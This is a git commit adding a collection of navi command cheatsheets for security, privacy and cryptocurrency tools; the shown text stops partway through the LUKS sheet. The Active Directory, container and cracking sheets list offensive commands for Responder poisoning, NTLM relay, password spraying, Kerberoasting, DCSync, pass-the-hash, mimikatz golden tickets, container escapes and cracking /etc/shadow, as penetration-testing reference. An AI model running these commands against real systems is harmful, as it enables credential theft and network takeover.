Initial cypherpunk-cheats collection: 22 navi cheatsheets
This commit is contained in:
commit
0fc9b49c22
GPG key ID:
D04DED574622EF45
25 changed files with 2296 additions and 0 deletions
14
.gitignore
vendored
Normal file
14
.gitignore
vendored
Normal file
|
|
@ -0,0 +1,14 @@
|
||||||
|
# OS
|
||||||
|
.DS_Store
|
||||||
|
Thumbs.db
|
||||||
|
|
||||||
|
# Editors
|
||||||
|
*.swp
|
||||||
|
*.swo
|
||||||
|
*~
|
||||||
|
.vscode/
|
||||||
|
.idea/
|
||||||
|
|
||||||
|
# Temp files
|
||||||
|
*.tmp
|
||||||
|
*.bak
|
||||||
21
LICENSE
Normal file
21
LICENSE
Normal file
|
|
@ -0,0 +1,21 @@
|
||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2025 rpriven
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
104
README.md
Normal file
104
README.md
Normal file
|
|
@ -0,0 +1,104 @@
|
||||||
|
# Cypherpunk Cheats
|
||||||
|
|
||||||
|
Navi-compatible cheatsheets for security, privacy, and digital sovereignty.
|
||||||
|
|
||||||
|
## Installation
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Install navi
|
||||||
|
cargo install navi
|
||||||
|
|
||||||
|
# Or via package manager
|
||||||
|
sudo apt install navi # Debian/Ubuntu
|
||||||
|
brew install navi # macOS
|
||||||
|
|
||||||
|
# Add this repo to navi (choose one)
|
||||||
|
navi repo add https://github.com/rpriven/cypherpunk-cheats # GitHub
|
||||||
|
navi repo add https://git.djeditech.com/djedi/cypherpunk-cheats # Mirror
|
||||||
|
```
|
||||||
|
|
||||||
|
## Manual Setup
|
||||||
|
|
||||||
|
Add to your navi config (`~/.config/navi/config.yaml`):
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
cheats:
|
||||||
|
paths:
|
||||||
|
- /path/to/cypherpunk-cheats
|
||||||
|
```
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Launch navi
|
||||||
|
navi
|
||||||
|
|
||||||
|
# Query specific topic
|
||||||
|
navi --query "nmap"
|
||||||
|
navi --query "monero"
|
||||||
|
navi --query "luks"
|
||||||
|
|
||||||
|
# Preview mode
|
||||||
|
navi --preview
|
||||||
|
|
||||||
|
# Use with custom path
|
||||||
|
navi --path /path/to/cypherpunk-cheats
|
||||||
|
```
|
||||||
|
|
||||||
|
## Categories
|
||||||
|
|
||||||
|
### Offensive Security
|
||||||
|
| File | Description |
|
||||||
|
|------|-------------|
|
||||||
|
| `nmap.cheat` | Port scanning and service enumeration |
|
||||||
|
| `web.cheat` | Web application testing (ffuf, sqlmap, nikto) |
|
||||||
|
| `hashcat.cheat` | Password cracking with Hashcat |
|
||||||
|
| `john.cheat` | John the Ripper password cracking |
|
||||||
|
| `privesc-linux.cheat` | Linux privilege escalation |
|
||||||
|
| `privesc-windows.cheat` | Windows privilege escalation |
|
||||||
|
| `active-directory.cheat` | AD attacks (NetExec, Kerberoasting) |
|
||||||
|
| `containers.cheat` | Docker/Kubernetes security |
|
||||||
|
| `wireless.cheat` | WiFi attacks (aircrack-ng, WPA cracking) |
|
||||||
|
| `tunnels.cheat` | SSH tunnels, chisel, pivoting |
|
||||||
|
|
||||||
|
### DFIR & Analysis
|
||||||
|
| File | Description |
|
||||||
|
|------|-------------|
|
||||||
|
| `forensics.cheat` | Volatility, disk imaging, evidence collection |
|
||||||
|
| `osint.cheat` | Sherlock, theHarvester, recon-ng |
|
||||||
|
| `wireshark.cheat` | Packet analysis (tshark, tcpdump) |
|
||||||
|
| `reversing.cheat` | Ghidra, radare2, GDB, binary analysis |
|
||||||
|
| `steganography.cheat` | Hidden data extraction (steghide, binwalk) |
|
||||||
|
|
||||||
|
### Privacy & Encryption
|
||||||
|
| File | Description |
|
||||||
|
|------|-------------|
|
||||||
|
| `privacy.cheat` | Tor, GPG, age encryption, metadata removal |
|
||||||
|
| `luks.cheat` | Full disk encryption (LUKS, dm-crypt) |
|
||||||
|
| `pass.cheat` | Password managers (pass, KeePassXC) |
|
||||||
|
| `secure-comms.cheat` | Signal CLI, Matrix, encrypted messaging |
|
||||||
|
|
||||||
|
### Cryptocurrency & Web3
|
||||||
|
| File | Description |
|
||||||
|
|------|-------------|
|
||||||
|
| `monero.cheat` | Monero CLI wallet operations |
|
||||||
|
| `bitcoin.cheat` | Bitcoin Core CLI operations |
|
||||||
|
| `solidity.cheat` | Smart contract auditing (Slither, Foundry) |
|
||||||
|
|
||||||
|
## Philosophy
|
||||||
|
|
||||||
|
Built for cypherpunks who value:
|
||||||
|
- **Privacy** - Default to encrypted, anonymous, and sovereign
|
||||||
|
- **Security** - Offensive knowledge for defensive thinking
|
||||||
|
- **Freedom** - Tools for digital self-determination
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
PRs welcome! Follow the navi `.cheat` format:
|
||||||
|
- `%` tags for categories
|
||||||
|
- `#` comments for descriptions
|
||||||
|
- `$` for argument completion
|
||||||
|
|
||||||
|
## License
|
||||||
|
|
||||||
|
MIT
|
||||||
75
active-directory.cheat
Normal file
75
active-directory.cheat
Normal file
|
|
@ -0,0 +1,75 @@
|
||||||
|
% ad, active-directory, kerberos, windows, netexec
|
||||||
|
|
||||||
|
# Start Responder (LLMNR/NBT-NS poisoning)
|
||||||
|
sudo responder -I <interface> -dwPv
|
||||||
|
|
||||||
|
# SMB relay attack
|
||||||
|
sudo ntlmrelayx.py -tf targets.txt -smb2support
|
||||||
|
|
||||||
|
# Get domain users (NetExec - replacement for crackmapexec)
|
||||||
|
nxc smb <dc_ip> -u <username> -p <password> --users
|
||||||
|
|
||||||
|
# Get domain groups
|
||||||
|
nxc smb <dc_ip> -u <username> -p <password> --groups
|
||||||
|
|
||||||
|
# Password spray
|
||||||
|
nxc smb <dc_ip> -u users.txt -p '<password>' --continue-on-success
|
||||||
|
|
||||||
|
# Password spray multiple passwords
|
||||||
|
nxc smb <dc_ip> -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
|
||||||
|
|
||||||
|
# Kerberoasting - Get TGS tickets
|
||||||
|
GetUserSPNs.py <domain>/<username>:<password> -dc-ip <dc_ip> -request
|
||||||
|
|
||||||
|
# AS-REP Roasting
|
||||||
|
GetNPUsers.py <domain>/ -usersfile users.txt -dc-ip <dc_ip> -format hashcat
|
||||||
|
|
||||||
|
# Dump secrets (admin required)
|
||||||
|
secretsdump.py <domain>/<username>:<password>@<target>
|
||||||
|
|
||||||
|
# Pass the hash
|
||||||
|
psexec.py <domain>/<username>@<target> -hashes <lmhash>:<nthash>
|
||||||
|
|
||||||
|
# Pass the hash with NetExec
|
||||||
|
nxc smb <target> -u <username> -H <nthash>
|
||||||
|
|
||||||
|
# DCSync attack
|
||||||
|
secretsdump.py <domain>/<username>:<password>@<dc_ip> -just-dc
|
||||||
|
|
||||||
|
# Get shell with psexec
|
||||||
|
psexec.py <domain>/<username>:<password>@<target>
|
||||||
|
|
||||||
|
# Get shell with wmiexec
|
||||||
|
wmiexec.py <domain>/<username>:<password>@<target>
|
||||||
|
|
||||||
|
# Get shell with evil-winrm
|
||||||
|
evil-winrm -i <target> -u <username> -p <password>
|
||||||
|
|
||||||
|
# BloodHound collection
|
||||||
|
bloodhound-python -d <domain> -u <username> -p <password> -c all -ns <dc_ip>
|
||||||
|
|
||||||
|
# PowerView - Get domain info
|
||||||
|
Import-Module .\PowerView.ps1; Get-Domain
|
||||||
|
|
||||||
|
# PowerView - Get domain users
|
||||||
|
Get-DomainUser | select samaccountname
|
||||||
|
|
||||||
|
# PowerView - Get domain computers
|
||||||
|
Get-DomainComputer | select name
|
||||||
|
|
||||||
|
# PowerView - Find domain admins
|
||||||
|
Get-DomainGroupMember "Domain Admins"
|
||||||
|
|
||||||
|
# Golden ticket with mimikatz
|
||||||
|
mimikatz.exe "kerberos::golden /User:Administrator /domain:<domain> /sid:<domain_sid> /krbtgt:<krbtgt_hash> /ptt" "exit"
|
||||||
|
|
||||||
|
# Silver ticket
|
||||||
|
mimikatz.exe "kerberos::golden /User:Administrator /domain:<domain> /sid:<domain_sid> /target:<target> /service:<service> /rc4:<service_hash> /ptt" "exit"
|
||||||
|
|
||||||
|
$ interface: ip link show | grep -E "^[0-9]" | cut -d: -f2 | tr -d ' ' | grep -v lo
|
||||||
|
$ dc_ip: echo ""
|
||||||
|
$ domain: echo ""
|
||||||
|
$ username: echo ""
|
||||||
|
$ password: echo ""
|
||||||
|
$ target: echo ""
|
||||||
|
$ nthash: echo ""
|
||||||
132
bitcoin.cheat
Normal file
132
bitcoin.cheat
Normal file
|
|
@ -0,0 +1,132 @@
|
||||||
|
% bitcoin, btc, cryptocurrency, wallet
|
||||||
|
|
||||||
|
# Start Bitcoin daemon
|
||||||
|
bitcoind
|
||||||
|
|
||||||
|
# Start daemon with options
|
||||||
|
bitcoind -daemon -server
|
||||||
|
|
||||||
|
# Stop daemon
|
||||||
|
bitcoin-cli stop
|
||||||
|
|
||||||
|
# Get blockchain info
|
||||||
|
bitcoin-cli getblockchaininfo
|
||||||
|
|
||||||
|
# Get network info
|
||||||
|
bitcoin-cli getnetworkinfo
|
||||||
|
|
||||||
|
# Get wallet info
|
||||||
|
bitcoin-cli getwalletinfo
|
||||||
|
|
||||||
|
# Create new wallet
|
||||||
|
bitcoin-cli createwallet "<wallet_name>"
|
||||||
|
|
||||||
|
# Load wallet
|
||||||
|
bitcoin-cli loadwallet "<wallet_name>"
|
||||||
|
|
||||||
|
# List wallets
|
||||||
|
bitcoin-cli listwallets
|
||||||
|
|
||||||
|
# Generate new address
|
||||||
|
bitcoin-cli getnewaddress
|
||||||
|
|
||||||
|
# Generate new address with label
|
||||||
|
bitcoin-cli getnewaddress "<label>"
|
||||||
|
|
||||||
|
# Get balance
|
||||||
|
bitcoin-cli getbalance
|
||||||
|
|
||||||
|
# List unspent outputs
|
||||||
|
bitcoin-cli listunspent
|
||||||
|
|
||||||
|
# List transactions
|
||||||
|
bitcoin-cli listtransactions
|
||||||
|
|
||||||
|
# Get transaction details
|
||||||
|
bitcoin-cli gettransaction "<txid>"
|
||||||
|
|
||||||
|
# Send to address
|
||||||
|
bitcoin-cli sendtoaddress "<address>" <amount>
|
||||||
|
|
||||||
|
# Send with fee rate
|
||||||
|
bitcoin-cli sendtoaddress "<address>" <amount> "" "" false true null "unset" null <fee_rate>
|
||||||
|
|
||||||
|
# Create raw transaction
|
||||||
|
bitcoin-cli createrawtransaction '[{"txid":"<txid>","vout":<vout>}]' '{"<address>":<amount>}'
|
||||||
|
|
||||||
|
# Sign raw transaction
|
||||||
|
bitcoin-cli signrawtransactionwithwallet "<hex>"
|
||||||
|
|
||||||
|
# Send raw transaction
|
||||||
|
bitcoin-cli sendrawtransaction "<hex>"
|
||||||
|
|
||||||
|
# Estimate fee (blocks to confirm)
|
||||||
|
bitcoin-cli estimatesmartfee <blocks>
|
||||||
|
|
||||||
|
# Dump private key (WIF)
|
||||||
|
bitcoin-cli dumpprivkey "<address>"
|
||||||
|
|
||||||
|
# Import private key
|
||||||
|
bitcoin-cli importprivkey "<wif_key>"
|
||||||
|
|
||||||
|
# Backup wallet
|
||||||
|
bitcoin-cli backupwallet "<backup_path>"
|
||||||
|
|
||||||
|
# Encrypt wallet
|
||||||
|
bitcoin-cli encryptwallet "<passphrase>"
|
||||||
|
|
||||||
|
# Unlock wallet (seconds)
|
||||||
|
bitcoin-cli walletpassphrase "<passphrase>" <timeout>
|
||||||
|
|
||||||
|
# Lock wallet
|
||||||
|
bitcoin-cli walletlock
|
||||||
|
|
||||||
|
# Get block hash
|
||||||
|
bitcoin-cli getblockhash <height>
|
||||||
|
|
||||||
|
# Get block data
|
||||||
|
bitcoin-cli getblock "<blockhash>"
|
||||||
|
|
||||||
|
# Decode raw transaction
|
||||||
|
bitcoin-cli decoderawtransaction "<hex>"
|
||||||
|
|
||||||
|
# Verify message signature
|
||||||
|
bitcoin-cli verifymessage "<address>" "<signature>" "<message>"
|
||||||
|
|
||||||
|
# Sign message
|
||||||
|
bitcoin-cli signmessage "<address>" "<message>"
|
||||||
|
|
||||||
|
# Sparrow Wallet (GUI - recommended)
|
||||||
|
sparrow
|
||||||
|
|
||||||
|
# Electrum (lightweight wallet)
|
||||||
|
electrum
|
||||||
|
|
||||||
|
# Hardware wallet - Trezor
|
||||||
|
trezorctl list
|
||||||
|
trezorctl get-address -n "m/84'/0'/0'/0/0"
|
||||||
|
|
||||||
|
# Hardware wallet - Ledger
|
||||||
|
# Use Ledger Live or HWI
|
||||||
|
|
||||||
|
# Bitcoin Core config (~/.bitcoin/bitcoin.conf)
|
||||||
|
# server=1
|
||||||
|
# rpcuser=user
|
||||||
|
# rpcpassword=pass
|
||||||
|
# txindex=1
|
||||||
|
|
||||||
|
$ wallet_name: bitcoin-cli listwallets 2>/dev/null | jq -r '.[]' 2>/dev/null
|
||||||
|
$ label: echo "main"
|
||||||
|
$ txid: echo ""
|
||||||
|
$ address: echo ""
|
||||||
|
$ amount: echo "0.001"
|
||||||
|
$ fee_rate: echo "10"
|
||||||
|
$ vout: echo "0"
|
||||||
|
$ hex: echo ""
|
||||||
|
$ wif_key: echo ""
|
||||||
|
$ backup_path: echo "wallet_backup.dat"
|
||||||
|
$ passphrase: echo ""
|
||||||
|
$ timeout: echo "60"
|
||||||
|
$ height: echo "0"
|
||||||
|
$ blockhash: echo ""
|
||||||
|
$ blocks: echo "6"
|
||||||
67
containers.cheat
Normal file
67
containers.cheat
Normal file
|
|
@ -0,0 +1,67 @@
|
||||||
|
% docker, kubernetes, containers, escape
|
||||||
|
|
||||||
|
# Check if inside container
|
||||||
|
ls -la /.dockerenv
|
||||||
|
cat /proc/1/cgroup | grep docker
|
||||||
|
|
||||||
|
# List docker images
|
||||||
|
docker images
|
||||||
|
|
||||||
|
# List running containers
|
||||||
|
docker ps
|
||||||
|
|
||||||
|
# List all containers
|
||||||
|
docker ps -a
|
||||||
|
|
||||||
|
# Execute into container
|
||||||
|
docker exec -it <container_id> /bin/bash
|
||||||
|
|
||||||
|
# Inspect container
|
||||||
|
docker inspect <container_id>
|
||||||
|
|
||||||
|
# Docker socket escape (if socket mounted)
|
||||||
|
docker run -v /:/hostfs -it alpine chroot /hostfs
|
||||||
|
|
||||||
|
# Privileged container escape - mount host
|
||||||
|
mkdir /mnt/host && mount /dev/sda1 /mnt/host
|
||||||
|
|
||||||
|
# Check capabilities
|
||||||
|
capsh --print
|
||||||
|
|
||||||
|
# Kubernetes - get pods
|
||||||
|
kubectl get pods
|
||||||
|
|
||||||
|
# Kubernetes - get all namespaces
|
||||||
|
kubectl get namespaces
|
||||||
|
|
||||||
|
# Kubernetes - get pods all namespaces
|
||||||
|
kubectl get pods --all-namespaces
|
||||||
|
|
||||||
|
# Kubernetes - get secrets
|
||||||
|
kubectl get secrets
|
||||||
|
|
||||||
|
# Kubernetes - decode secret
|
||||||
|
kubectl get secret <secret_name> -o yaml
|
||||||
|
|
||||||
|
# Kubernetes - exec into pod
|
||||||
|
kubectl exec -it <pod_name> -- /bin/bash
|
||||||
|
|
||||||
|
# Get service account token
|
||||||
|
cat /var/run/secrets/kubernetes.io/serviceaccount/token
|
||||||
|
|
||||||
|
# Check RBAC permissions
|
||||||
|
kubectl auth can-i --list
|
||||||
|
|
||||||
|
# Trivy - scan image
|
||||||
|
trivy image <image_name>
|
||||||
|
|
||||||
|
# Deepce - Docker enumeration
|
||||||
|
./deepce.sh
|
||||||
|
|
||||||
|
# CDK - container pentest toolkit
|
||||||
|
./cdk evaluate
|
||||||
|
|
||||||
|
$ container_id: docker ps --format "{{.ID}}\t{{.Names}}" 2>/dev/null
|
||||||
|
$ pod_name: kubectl get pods --no-headers 2>/dev/null | awk '{print $1}'
|
||||||
|
$ secret_name: kubectl get secrets --no-headers 2>/dev/null | awk '{print $1}'
|
||||||
|
$ image_name: docker images --format "{{.Repository}}:{{.Tag}}" 2>/dev/null
|
||||||
97
forensics.cheat
Normal file
97
forensics.cheat
Normal file
|
|
@ -0,0 +1,97 @@
|
||||||
|
% forensics, dfir, volatility, memory, incident-response
|
||||||
|
|
||||||
|
# Volatility 3 - identify OS
|
||||||
|
vol -f <memory_dump> windows.info
|
||||||
|
|
||||||
|
# Volatility 3 - process list
|
||||||
|
vol -f <memory_dump> windows.pslist
|
||||||
|
|
||||||
|
# Volatility 3 - process tree
|
||||||
|
vol -f <memory_dump> windows.pstree
|
||||||
|
|
||||||
|
# Volatility 3 - hidden processes
|
||||||
|
vol -f <memory_dump> windows.psscan
|
||||||
|
|
||||||
|
# Volatility 3 - network connections
|
||||||
|
vol -f <memory_dump> windows.netscan
|
||||||
|
|
||||||
|
# Volatility 3 - command line history
|
||||||
|
vol -f <memory_dump> windows.cmdline
|
||||||
|
|
||||||
|
# Volatility 3 - DLLs for process
|
||||||
|
vol -f <memory_dump> windows.dlllist --pid <pid>
|
||||||
|
|
||||||
|
# Volatility 3 - malware detection
|
||||||
|
vol -f <memory_dump> windows.malfind
|
||||||
|
|
||||||
|
# Volatility 3 - registry hives
|
||||||
|
vol -f <memory_dump> windows.registry.hivelist
|
||||||
|
|
||||||
|
# Volatility 3 - dump process memory
|
||||||
|
vol -f <memory_dump> windows.memmap --pid <pid> --dump
|
||||||
|
|
||||||
|
# Volatility 2 - image info (legacy)
|
||||||
|
volatility -f <memory_dump> imageinfo
|
||||||
|
|
||||||
|
# Volatility 2 - with profile
|
||||||
|
volatility -f <memory_dump> --profile=<profile> pslist
|
||||||
|
|
||||||
|
# Disk imaging with dd
|
||||||
|
sudo dd if=<source_device> of=<output_file> bs=64K conv=noerror,sync status=progress
|
||||||
|
|
||||||
|
# Disk imaging with dcfldd (forensic)
|
||||||
|
sudo dcfldd if=<source_device> of=<output_file> hash=md5,sha256 hashlog=hashes.txt
|
||||||
|
|
||||||
|
# Mount forensic image read-only
|
||||||
|
sudo mount -o ro,loop,noexec <image_file> <mount_point>
|
||||||
|
|
||||||
|
# Mount with offset (partition)
|
||||||
|
sudo mount -o ro,loop,offset=$((512*<sector_offset>)) <image_file> <mount_point>
|
||||||
|
|
||||||
|
# File carving with foremost
|
||||||
|
foremost -i <image_file> -o <output_dir>
|
||||||
|
|
||||||
|
# File recovery with photorec
|
||||||
|
photorec <image_file>
|
||||||
|
|
||||||
|
# File recovery with scalpel
|
||||||
|
scalpel -c /etc/scalpel/scalpel.conf -o <output_dir> <image_file>
|
||||||
|
|
||||||
|
# Timeline with plaso
|
||||||
|
log2timeline.py <output.plaso> <evidence_source>
|
||||||
|
|
||||||
|
# Parse plaso timeline
|
||||||
|
psort.py -o l2tcsv <output.plaso> -w timeline.csv
|
||||||
|
|
||||||
|
# Extract strings from binary
|
||||||
|
strings -n 8 <file>
|
||||||
|
strings -e l <file>
|
||||||
|
|
||||||
|
# Calculate file hashes
|
||||||
|
md5sum <file> && sha256sum <file>
|
||||||
|
|
||||||
|
# Chainsaw - Windows event log hunting
|
||||||
|
chainsaw hunt <evtx_dir> --rules <sigma_rules_dir>
|
||||||
|
|
||||||
|
# Parse Windows prefetch
|
||||||
|
PECmd.exe -d C:\Windows\Prefetch --csv <output_dir>
|
||||||
|
|
||||||
|
# Registry analysis with RegRipper
|
||||||
|
rip.pl -r <registry_hive> -p all
|
||||||
|
|
||||||
|
# KAPE collection
|
||||||
|
kape.exe --tsource C: --tdest <output_dir> --target !SANS_Triage
|
||||||
|
|
||||||
|
# Autopsy (GUI forensics)
|
||||||
|
autopsy
|
||||||
|
|
||||||
|
$ memory_dump: find . -name "*.raw" -o -name "*.mem" -o -name "*.dmp" 2>/dev/null
|
||||||
|
$ source_device: lsblk -dpno NAME | head -5
|
||||||
|
$ output_file: echo "disk.raw"
|
||||||
|
$ image_file: find . -name "*.raw" -o -name "*.dd" -o -name "*.img" 2>/dev/null
|
||||||
|
$ mount_point: echo "/mnt/evidence"
|
||||||
|
$ output_dir: echo "output"
|
||||||
|
$ pid: echo ""
|
||||||
|
$ profile: echo "Win10x64_19041"
|
||||||
|
$ sector_offset: echo "2048"
|
||||||
|
$ evtx_dir: echo "/path/to/evtx"
|
||||||
50
hashcat.cheat
Normal file
50
hashcat.cheat
Normal file
|
|
@ -0,0 +1,50 @@
|
||||||
|
% hashcat, cracking, passwords
|
||||||
|
|
||||||
|
# Crack MD5 hash
|
||||||
|
hashcat -m 0 <hashfile> <wordlist> -O
|
||||||
|
|
||||||
|
# Crack NTLM hash
|
||||||
|
hashcat -m 1000 <hashfile> <wordlist> -O
|
||||||
|
|
||||||
|
# Crack NTLMv2 (Responder capture)
|
||||||
|
hashcat -m 5600 <hashfile> <wordlist> -O
|
||||||
|
|
||||||
|
# Crack SHA-512 Linux ($6$)
|
||||||
|
hashcat -m 1800 <hashfile> <wordlist> -O
|
||||||
|
|
||||||
|
# Crack Kerberoasting TGS
|
||||||
|
hashcat -m 13100 <hashfile> <wordlist> -O
|
||||||
|
|
||||||
|
# Crack AS-REP Roast
|
||||||
|
hashcat -m 18200 <hashfile> <wordlist> -O
|
||||||
|
|
||||||
|
# Crack WPA2
|
||||||
|
hashcat -m 22000 <hashfile> <wordlist> -O
|
||||||
|
|
||||||
|
# Crack bcrypt
|
||||||
|
hashcat -m 3200 <hashfile> <wordlist> -O
|
||||||
|
|
||||||
|
# Crack JWT
|
||||||
|
hashcat -m 16500 <hashfile> <wordlist> -O
|
||||||
|
|
||||||
|
# With rules (best64)
|
||||||
|
hashcat -m <mode> <hashfile> <wordlist> -r /usr/share/hashcat/rules/best64.rule -O
|
||||||
|
|
||||||
|
# Mask attack - 4 digits
|
||||||
|
hashcat -m <mode> <hashfile> -a 3 ?d?d?d?d
|
||||||
|
|
||||||
|
# Mask attack - 8 lowercase
|
||||||
|
hashcat -m <mode> <hashfile> -a 3 ?l?l?l?l?l?l?l?l
|
||||||
|
|
||||||
|
# Mask attack - Password1! pattern
|
||||||
|
hashcat -m <mode> <hashfile> -a 3 ?u?l?l?l?l?l?l?l?d?s
|
||||||
|
|
||||||
|
# Show cracked passwords
|
||||||
|
hashcat -m <mode> <hashfile> --show
|
||||||
|
|
||||||
|
# Resume session
|
||||||
|
hashcat --restore
|
||||||
|
|
||||||
|
$ hashfile: find . -name "*.txt" -o -name "*.hash" 2>/dev/null
|
||||||
|
$ wordlist: echo "/usr/share/wordlists/rockyou.txt"
|
||||||
|
$ mode: echo "0\n100\n1000\n1400\n1700\n1800\n3200\n5600\n13100\n18200" --- --header "Mode: 0=MD5, 100=SHA1, 1000=NTLM, 1400=SHA256, 1700=SHA512, 1800=sha512crypt, 3200=bcrypt, 5600=NTLMv2, 13100=Kerberoast, 18200=AS-REP"
|
||||||
58
john.cheat
Normal file
58
john.cheat
Normal file
|
|
@ -0,0 +1,58 @@
|
||||||
|
% john, cracking, passwords
|
||||||
|
|
||||||
|
# Auto-detect and crack
|
||||||
|
john <hashfile>
|
||||||
|
|
||||||
|
# Crack with wordlist
|
||||||
|
john --wordlist=<wordlist> <hashfile>
|
||||||
|
|
||||||
|
# Crack NTLM
|
||||||
|
john --format=nt --wordlist=<wordlist> <hashfile>
|
||||||
|
|
||||||
|
# Crack MD5
|
||||||
|
john --format=raw-md5 --wordlist=<wordlist> <hashfile>
|
||||||
|
|
||||||
|
# Crack SHA-512 Linux
|
||||||
|
john --format=sha512crypt --wordlist=<wordlist> <hashfile>
|
||||||
|
|
||||||
|
# Crack bcrypt
|
||||||
|
john --format=bcrypt --wordlist=<wordlist> <hashfile>
|
||||||
|
|
||||||
|
# Show cracked passwords
|
||||||
|
john --show <hashfile>
|
||||||
|
|
||||||
|
# With rules
|
||||||
|
john --wordlist=<wordlist> --rules <hashfile>
|
||||||
|
|
||||||
|
# SSH key crack
|
||||||
|
ssh2john <ssh_key> > ssh_hash.txt && john --wordlist=<wordlist> ssh_hash.txt
|
||||||
|
|
||||||
|
# ZIP file crack
|
||||||
|
zip2john <zip_file> > zip_hash.txt && john --wordlist=<wordlist> zip_hash.txt
|
||||||
|
|
||||||
|
# RAR file crack
|
||||||
|
rar2john <rar_file> > rar_hash.txt && john --wordlist=<wordlist> rar_hash.txt
|
||||||
|
|
||||||
|
# PDF crack
|
||||||
|
pdf2john <pdf_file> > pdf_hash.txt && john --wordlist=<wordlist> pdf_hash.txt
|
||||||
|
|
||||||
|
# Office document crack
|
||||||
|
office2john <office_file> > office_hash.txt && john --wordlist=<wordlist> office_hash.txt
|
||||||
|
|
||||||
|
# KeePass crack
|
||||||
|
keepass2john <kdbx_file> > keepass_hash.txt && john --wordlist=<wordlist> keepass_hash.txt
|
||||||
|
|
||||||
|
# Linux shadow file
|
||||||
|
unshadow /etc/passwd /etc/shadow > unshadowed.txt && john --wordlist=<wordlist> unshadowed.txt
|
||||||
|
|
||||||
|
# List available formats
|
||||||
|
john --list=formats
|
||||||
|
|
||||||
|
$ hashfile: find . -name "*.txt" -o -name "*.hash" 2>/dev/null
|
||||||
|
$ wordlist: echo "/usr/share/wordlists/rockyou.txt"
|
||||||
|
$ ssh_key: find . -name "id_rsa" -o -name "*.pem" 2>/dev/null
|
||||||
|
$ zip_file: find . -name "*.zip" 2>/dev/null
|
||||||
|
$ rar_file: find . -name "*.rar" 2>/dev/null
|
||||||
|
$ pdf_file: find . -name "*.pdf" 2>/dev/null
|
||||||
|
$ office_file: find . -name "*.docx" -o -name "*.xlsx" 2>/dev/null
|
||||||
|
$ kdbx_file: find . -name "*.kdbx" 2>/dev/null
|
||||||
124
luks.cheat
Normal file
124
luks.cheat
Normal file
|
|
@ -0,0 +1,124 @@
|
||||||
|
% luks, encryption, disk, dm-crypt, fde
|
||||||
|
|
||||||
|
# Check if device is LUKS
|
||||||
|
sudo cryptsetup isLuks <device>
|
||||||
|
|
||||||
|
# LUKS info
|
||||||
|
sudo cryptsetup luksDump <device>
|
||||||
|
|
||||||
|
# Create LUKS volume
|
||||||
|
sudo cryptsetup luksFormat <device>
|
||||||
|
|
||||||
|
# Create LUKS2 volume (recommended)
|
||||||
|
sudo cryptsetup luksFormat --type luks2 <device>
|
||||||
|
|
||||||
|
# Create LUKS with specific cipher
|
||||||
|
sudo cryptsetup luksFormat --cipher aes-xts-plain64 --key-size 512 --hash sha512 <device>
|
||||||
|
|
||||||
|
# Open LUKS volume
|
||||||
|
sudo cryptsetup luksOpen <device> <mapper_name>
|
||||||
|
|
||||||
|
# Open LUKS (alternative syntax)
|
||||||
|
sudo cryptsetup open <device> <mapper_name>
|
||||||
|
|
||||||
|
# Close LUKS volume
|
||||||
|
sudo cryptsetup luksClose <mapper_name>
|
||||||
|
|
||||||
|
# Add key to LUKS
|
||||||
|
sudo cryptsetup luksAddKey <device>
|
||||||
|
|
||||||
|
# Add key from file
|
||||||
|
sudo cryptsetup luksAddKey <device> <keyfile>
|
||||||
|
|
||||||
|
# Remove key
|
||||||
|
sudo cryptsetup luksRemoveKey <device>
|
||||||
|
|
||||||
|
# Kill key slot
|
||||||
|
sudo cryptsetup luksKillSlot <device> <slot_number>
|
||||||
|
|
||||||
|
# Change passphrase
|
||||||
|
sudo cryptsetup luksChangeKey <device>
|
||||||
|
|
||||||
|
# Create filesystem on opened LUKS
|
||||||
|
sudo mkfs.ext4 /dev/mapper/<mapper_name>
|
||||||
|
|
||||||
|
# Mount LUKS volume
|
||||||
|
sudo mount /dev/mapper/<mapper_name> <mount_point>
|
||||||
|
|
||||||
|
# Unmount LUKS volume
|
||||||
|
sudo umount <mount_point>
|
||||||
|
sudo cryptsetup luksClose <mapper_name>
|
||||||
|
|
||||||
|
# Create encrypted file container
|
||||||
|
dd if=/dev/zero of=<container_file> bs=1M count=<size_mb>
|
||||||
|
sudo cryptsetup luksFormat <container_file>
|
||||||
|
sudo cryptsetup luksOpen <container_file> <mapper_name>
|
||||||
|
sudo mkfs.ext4 /dev/mapper/<mapper_name>
|
||||||
|
|
||||||
|
# Backup LUKS header
|
||||||
|
sudo cryptsetup luksHeaderBackup <device> --header-backup-file <backup_file>
|
||||||
|
|
||||||
|
# Restore LUKS header
|
||||||
|
sudo cryptsetup luksHeaderRestore <device> --header-backup-file <backup_file>
|
||||||
|
|
||||||
|
# Erase LUKS header (DESTROYS DATA!)
|
||||||
|
sudo cryptsetup luksErase <device>
|
||||||
|
|
||||||
|
# Check LUKS status
|
||||||
|
sudo cryptsetup status <mapper_name>
|
||||||
|
|
||||||
|
# Benchmark encryption
|
||||||
|
cryptsetup benchmark
|
||||||
|
|
||||||
|
# Auto-mount with /etc/crypttab
|
||||||
|
# <mapper_name> <device> none luks
|
||||||
|
